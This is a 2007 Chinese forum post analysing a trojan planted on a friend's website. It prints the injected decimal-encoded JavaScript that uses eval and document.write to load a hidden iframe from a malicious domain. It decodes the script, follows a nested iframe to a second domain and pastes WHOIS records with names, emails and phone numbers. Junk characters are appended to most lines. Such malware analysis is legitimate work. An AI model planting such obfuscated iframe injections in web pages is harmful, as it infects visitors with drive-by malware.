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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 3c)LBM  
6m9Z5:xG  
http://www.areway.cn/?p=175 7K~=QEc  
SFHa(JOS  
[M.Vu  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: > 01k u  
          51A>eU|  
<script>t=’60,105,102,114,97,109,101, j<[<qU:  
32,115,114,99,61,104,116,116,112,58,47,47, uAP|ASH9T  
102,114,101,101,46,117,45,117,117,117,46,99, Lqt]  
110,47,101,114,114,111,114,46,104,116,109, R!O'DM+  
32,119,105,100,116,104,61,49,48,48,32,104, d;z`xy(C  
101,105,103,104,116,61,48,62,60,47,105,102, a)]N#gx  
114,97,109,101,62′; XX =A1#H  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> :\ S3[(FV  
                                                                                                  iH2|w  
<script>t=’60,105,102,114,97,109,101,32,115, {pqm&PB04  
114,99,61,104,116,116,112,58,47,47,102,114, 8r5j~Df  
101,101,46,117,45,117,117,117,46,99,110,47, WE3l*7<@  
101,114,114,111,114,46,104,116,109,32,119, <H.Ml>q:r  
105,100,116,104,61,49,48,48,32,104,101,105, "2)T=vHi#  
103,104,116,61,48,62,60,47,105,102,114,97, s<myZ T$  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); M:A7=rO~  
document.write(t);</script> 8p5u1 ;2  
                                                                                                  <B)lV'!Bd  
<html xmlns=” I$YF55uB  
http://www.w3.org/1999/xhtml n%Fa;!S  
“> \(Iy>L.  
<head> a}yJ$6xi  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> {x+jFj.  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> _+GCd8d  
<title>首页 - 爱生活家庭网 1.+MX(w  
                                                                                                                                                    9T\:ID= h  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 fgNEq  
转换字符串后的大概内容是(谁点击后果自付): 9%x[z%06  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… \ZA%"F){  
                                                                                                                                  pJqayzV  
查询玉米u-uuu.cn的详细信息: )|:|.`H  
Domain Name: u-uuu.cn 1\1o65en  
ROID: 20070901s10001s64972306-cn mesR)fTI  
Domain Status: ok 2a{eJ89f  
Registrant Organization: 王雷 >q`G?9d2  
Registrant Name: 王雷 %P?W^mI  
Administrative Email: czlovexs@126.com RtSk;U1  
Sponsoring Registrar: 北京万网志成科技有限公司 rHMsA|xz6  
Name Server:ns.yovole.com t{$t3>p-t  
Name Server:ns1.yovole.com VB Ce=<  
Registration Date: 2007-09-01 17:54 yCwQ0|  
Expiration Date: 2008-09-01 17:54 | #,b1|af  
最后PING了一下地址 都没有什么…. +!X^E9ra  
                                                                                                sGV%O=9?2  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. wJ{M&n1H  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> >4;A (s`  
<script language=”javascript” src=” ydpsPU?wj5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script SgJQH7N  
> VBOq~>V6(v  
这个玉米应该有可能是木马作者的: )UWE.o BI  
foafau.info的详细信息: vJYy`k^Y  
Access to INFO WHOIS information is provided to assist persons in jvW/M.q4  
determining the contents of a domain name registration record in the ZI1[jM{4^F  
Afilias registry database. The data in this record is provided by fPst<)  
Afilias Limited for informational purposes only, and Afilias does not ?R";EnD  
guarantee its accuracy.  This service is intended only for query-based vsc&$r3!5{  
access. You agree that you will use this data only for lawful purposes C; ! )<(Vw  
and that, under no circumstances will you use this data to: (a) allow, |XeuqZa  
enable, or otherwise support the transmission by e-mail, telephone, or zdr?1=  
facsimile of mass unsolicited, commercial advertising or solicitations zD?<m J`  
to entities other than the data recipient’s own existing customers; or gbF.Q7?$u  
(b) enable high volume, automated, electronic processes that send JTVCaL3Z  
queries or data to the systems of Registry Operator, a Registrar, or tL D.e  
Afilias except as reasonably necessary to register domain names or *F=w MWa  
modify existing registrations. All rights reserved. Afilias reserves =_,w<  
the right to modify these terms at any time. By submitting this query, J6jrtLh  
you agree to abide by this policy. X _XqT  
Domain ID:D22418703-LRMS #bnFR  
Domain Name:FOAFAU.INFO /QTGZ b  
Created On:20-Nov-2007 16:05:42 UTC ~dC^|  
Last Updated On:20-Nov-2007 16:05:44 UTC )5B90[M|t  
Expiration Date:20-Nov-2008 16:05:42 UTC Hq=RtW2  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 4rv3D@E  
Status:CLIENT DELETE PROHIBITED Ix"uk6 h  
Status:CLIENT RENEW PROHIBITED i2EB.Zlv  
Status:CLIENT TRANSFER PROHIBITED o#G7gzw)  
Status:CLIENT UPDATE PROHIBITED  Y]P]^3  
Status:TRANSFER PROHIBITED Dk:Zeo]+my  
Registrant ID:GODA-040110615 F`'e/  
Registrant Name:liu hong 6zyozJA  
Registrant Organization: I9_tD@s"(  
Registrant Street1:beijing dw'%1g.113  
Registrant Street2: e KET8v[  
Registrant Street3: 0?k/vV4  
Registrant City:beijing JrO2"S  
Registrant State/Province: ky,+xq  
Registrant Postal Code:100000 &FGz53fd4  
Registrant Country:CN X|X6^}  
Registrant Phone:+86.860108888777 8eL[ ,uw  
Registrant Phone Ext.: V"gnG](2l  
Registrant FAX: &AC-?R|Dp  
Registrant FAX Ext.: xEGI'lt  
Registrant Email:bbbshiji@163.com w<5w?nP+Oh  
Admin ID:GODA-240110615 7|\[ipVX:3  
Admin Name:liu hong `XQM)A  
Admin Organization: ,_p_p^Ar\4  
Admin Street1:beijing ]ZZ7j  
Admin Street2: zf#V89!]C"  
Admin Street3: j&ddpS(s  
Admin City:beijing 4u A ;--j  
Admin State/Province: ?mnwD]u  
Admin Postal Code:100000 xj(&EGY:  
Admin Country:CN \#  
Admin Phone:+86.860108888777 ?$9C[Kw`  
Admin Phone Ext.: v@[MX- ,8  
Admin FAX: Z{ &PKS  
Admin FAX Ext.: ^BW V6  
Admin Email:bbbshiji@163.com J7$5<  
Billing ID:GODA-340110615 RytQNwv3  
Billing Name:liu hong qd"*Td  
Billing Organization: }wz )"  
Billing Street1:beijing zS]Yd9;X1  
Billing Street2: _<&IpT{w+  
Billing Street3: KD=T04v  
Billing City:beijing J %URg=r  
Billing State/Province: az\ ;D\\  
Billing Postal Code:100000 V\^?V|  
Billing Country:CN Jt@7y"<  
Billing Phone:+86.860108888777 P6dIU/w  
Billing Phone Ext.: \%f4)Qb  
Billing FAX: (:-=XR9A`  
Billing FAX Ext.: yin"+&<T  
Billing Email:bbbshiji@163.com }B^KV#_{S  
Tech ID:GODA-140110615 sLPFeibof5  
Tech Name:liu hong {^5r5GB=*  
Tech Organization: CZt)Q4  
Tech Street1:beijing | \C{R  
Tech Street2: Ggsfr;m\`  
Tech Street3: qK#\k@E  
Tech City:beijing DO(FG-R  
Tech State/Province: yD$rls:v<  
Tech Postal Code:100000 "3W!p+W  
Tech Country:CN P8piXG  
Tech Phone:+86.860108888777 E:L =>}  
Tech Phone Ext.: ^7V9\Q9  
Tech FAX: VWaI!bK  
Tech FAX Ext.: c"v#d9  
Tech Email:bbbshiji@163.com Kmk<  
Name Server:NS27.DOMAINCONTROL.COM XQ.JzzY$  
Name Server:NS28.DOMAINCONTROL.COM (F +if  
Name Server: % =br-c  
Name Server:  Hi|'  
Name Server: %BC*h}KGH  
Name Server: +kmPQdO;*/  
Name Server: x/R|i%u-s  
Name Server: l0 r Zril  
Name Server: -%NT)o  
Name Server: ma?$@ ]`k  
Name Server: r. =_=V/t  
Name Server: }2-{4JIq}  
Name Server: 2>_6b>9]  
                                                                                                          7JQ5OC3  
接着下载每个文件里面的代码: mN!>BqvN  
一步一步看.. ;N6L`|  
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p (:\)HP)R  
8(\Az5%  
[89#8|+  
(Rve<n6{A  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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